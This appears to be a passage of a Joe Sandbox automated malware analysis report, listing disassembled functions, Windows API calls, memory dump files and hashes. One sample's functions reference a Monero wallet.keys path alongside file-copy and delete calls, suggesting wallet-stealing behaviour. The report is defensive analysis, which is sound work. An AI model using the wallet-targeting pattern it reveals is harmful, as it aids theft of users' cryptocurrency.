Part of subcall function 6C69CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C6ACEEA,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000), ref: 6C69CB57
Part of subcall function 6C69CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C69CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C6ACEEA,?,?), ref: 6C69CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD058

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction ID: 7f1d13926e85e4132c53c4f335a1232c33e1e35778ffcb01c90bc5c865becd05
Opcode Fuzzy Hash: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction Fuzzy Hash: 2FD16F71A04B469FD708CF28C480B99F7E1BF89308F01866DD95987712EB31B9A6CBC5

Function 0006D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

Part of subcall function 00078B60: GetSystemTime.KERNEL32(00080E1A,00D79A38,000805AE,?,?,000613F9,?,0000001A,00080E1A,00000000,?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 00078B86

Part of subcall function 0007A920: lstrcpy.KERNEL32(00000000,?), ref: 0007A972
Part of subcall function 0007A920: lstrcat.KERNEL32(00000000), ref: 0007A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0006D481
lstrlen.KERNEL32(00000000), ref: 0006D698
lstrlen.KERNEL32(00000000), ref: 0006D6AC
DeleteFileA.KERNEL32(00000000), ref: 0006D72B

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 301aba9dced5cd08e2c0b95acdc81754a35a418a52c19b0f02fcc9db9b19bac5
Instruction ID: 5086f699d11a3f13346366888822913f582cf5e765a235fe25f97102669d8db5
Opcode Fuzzy Hash: 301aba9dced5cd08e2c0b95acdc81754a35a418a52c19b0f02fcc9db9b19bac5
Instruction Fuzzy Hash: F591D271E101049BDB44FBA4DC56EEE7338AF95300F50C169F51B66092EF386A49CB67

Function 6C675C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C675D40
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67
__aulldiv.LIBCMT ref: 6C675DB4
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction ID: d33b4dba655bb99291579b5ea7e7ad6204471695016f9aad492d62ec9b1b7e3c
Opcode Fuzzy Hash: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction Fuzzy Hash: 89518F71E001698FCF08CF69C994AAEBBF1FB85304F198A5DD811A7B50C7307945CB99

Function 6C65CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C65CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C65CF4E

Strings

0, xrefs: 6C65CF30

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction ID: e54310c26906e80553e8d3bb2d46e827d1f78c5d19c18f1187dfef5d907545ba
Opcode Fuzzy Hash: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction Fuzzy Hash: 9D511475A002568FCB00CF18C890A9AFBB5EF99300F29859DD95A5F351D731ED16CBE0

Function 00073560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: de60546769b7a14dd41ff2b7392b54a765b4648870a795f28d178495a1c25d0f
Instruction ID: b70b2a4b1178f36b479a4274dc3484a21764e417add58ddd952c9500dba98f0a
Opcode Fuzzy Hash: de60546769b7a14dd41ff2b7392b54a765b4648870a795f28d178495a1c25d0f
Instruction Fuzzy Hash: B7413171E10109AFDB44EFA4DC45AEEB7B4BF54304F00C018E51A77291DB79AA09DFA6

Function 6C696470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6982BC,?,?), ref: 6C69649B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6964A9

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69653F
free.MOZGLUE(?), ref: 6C69655A

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction ID: 98cb846002616a141ddfcc5cd91472c026677bdcc18c31a34d08c92d525b97ac
Opcode Fuzzy Hash: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction Fuzzy Hash: 223161B5A04305AFD740CF15D88469AB7E4FF89314F00482EE85A97751DB34E919CBDA

Function 6C66B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66B4F5
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B502
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B542
free.MOZGLUE(?), ref: 6C66B578

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction ID: f8c6926e3cb4d4af112b9870dfa7403b397d49b61d05b120268176a51f4f12c6
Opcode Fuzzy Hash: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction Fuzzy Hash: 85110330A04B41C7D321CF2AC8407A5B3B0FFDA319F14970AE84953E02EBB0B5C5879A

Function 00077980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00080E00,00000000,?), ref: 000779B0
RtlAllocateHeap.NTDLL(00000000), ref: 000779B7
GetLocalTime.KERNEL32(?,?,?,?,?,00080E00,00000000,?), ref: 000779C4
wsprintfA.USER32 ref: 000779F3

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 69c98216769bbac3e3d5118f77b8f063032224c5b38972b19c72a89eb315515a
Instruction ID: eb6925ca91853ce20f49b0736c7d1b8173658e8276dcfe9fcca6336dbae5548d
Opcode Fuzzy Hash: 69c98216769bbac3e3d5118f77b8f063032224c5b38972b19c72a89eb315515a
Instruction Fuzzy Hash: BD1115B2904118ABCB149FC9ED49BBEB7F8EB49B11F10425AF605A2280E73D5940CBB5

Function 6C693DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C65F20E,?), ref: 6C693DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C65F20E,00000000,?), ref: 6C693DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C693E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C693E0E

Part of subcall function 6C68CC00: GetCurrentProcess.KERNEL32(?,?,6C6531A7), ref: 6C68CC0D
Part of subcall function 6C68CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6531A7), ref: 6C68CC16

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction ID: 1eb75ff979cc5475eae7f49dcf4a0ee0aad8e9e8d9996727dab3d755bc266919
Opcode Fuzzy Hash: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction Fuzzy Hash: 9BF0F8B1A002087BDB00AB55EC81DAB376DEB87628F040021FE0957741D636BE6996FF

Function 000792E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00073AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00073AEE,?), ref: 000792FC
GetFileSizeEx.KERNEL32(000000FF,00073AEE), ref: 00079319
CloseHandle.KERNEL32(000000FF), ref: 00079327

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 5714ec47d03508be6acbe203241f2cc44908bdb13893ee69fbd89604abc0bdf0
Instruction ID: a90b7c3cfd83f732a3ca9b34b82dc09db7489a91be6dc11d3188dfcbaf8f20cd
Opcode Fuzzy Hash: 5714ec47d03508be6acbe203241f2cc44908bdb13893ee69fbd89604abc0bdf0
Instruction Fuzzy Hash: 10F03C35E40208BBDB20DBB0EC49BAEB7B9AB48750F10C254B655A72D0DA789701CF44

Function 0007C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0007C74E

Part of subcall function 0007BF9F: __amsg_exit.LIBCMT ref: 0007BFAF

__getptd.LIBCMT ref: 0007C765
__amsg_exit.LIBCMT ref: 0007C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0007C797

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 41f13b27786750073532915f0171f8de08573208686f2b022ca06ec9722e6509
Instruction ID: 69bbf1261fc03c04286d8eebd5ac39bbb813df9d8257233b45e177fc5ab06015
Opcode Fuzzy Hash: 41f13b27786750073532915f0171f8de08573208686f2b022ca06ec9722e6509
Instruction Fuzzy Hash: 18F04932E086009AE764BBB85846B8D33E06B00B20F20C15DF44CA61D3CF6C5940DA5E

Function 6C65BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C65BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C65BE8F

Strings

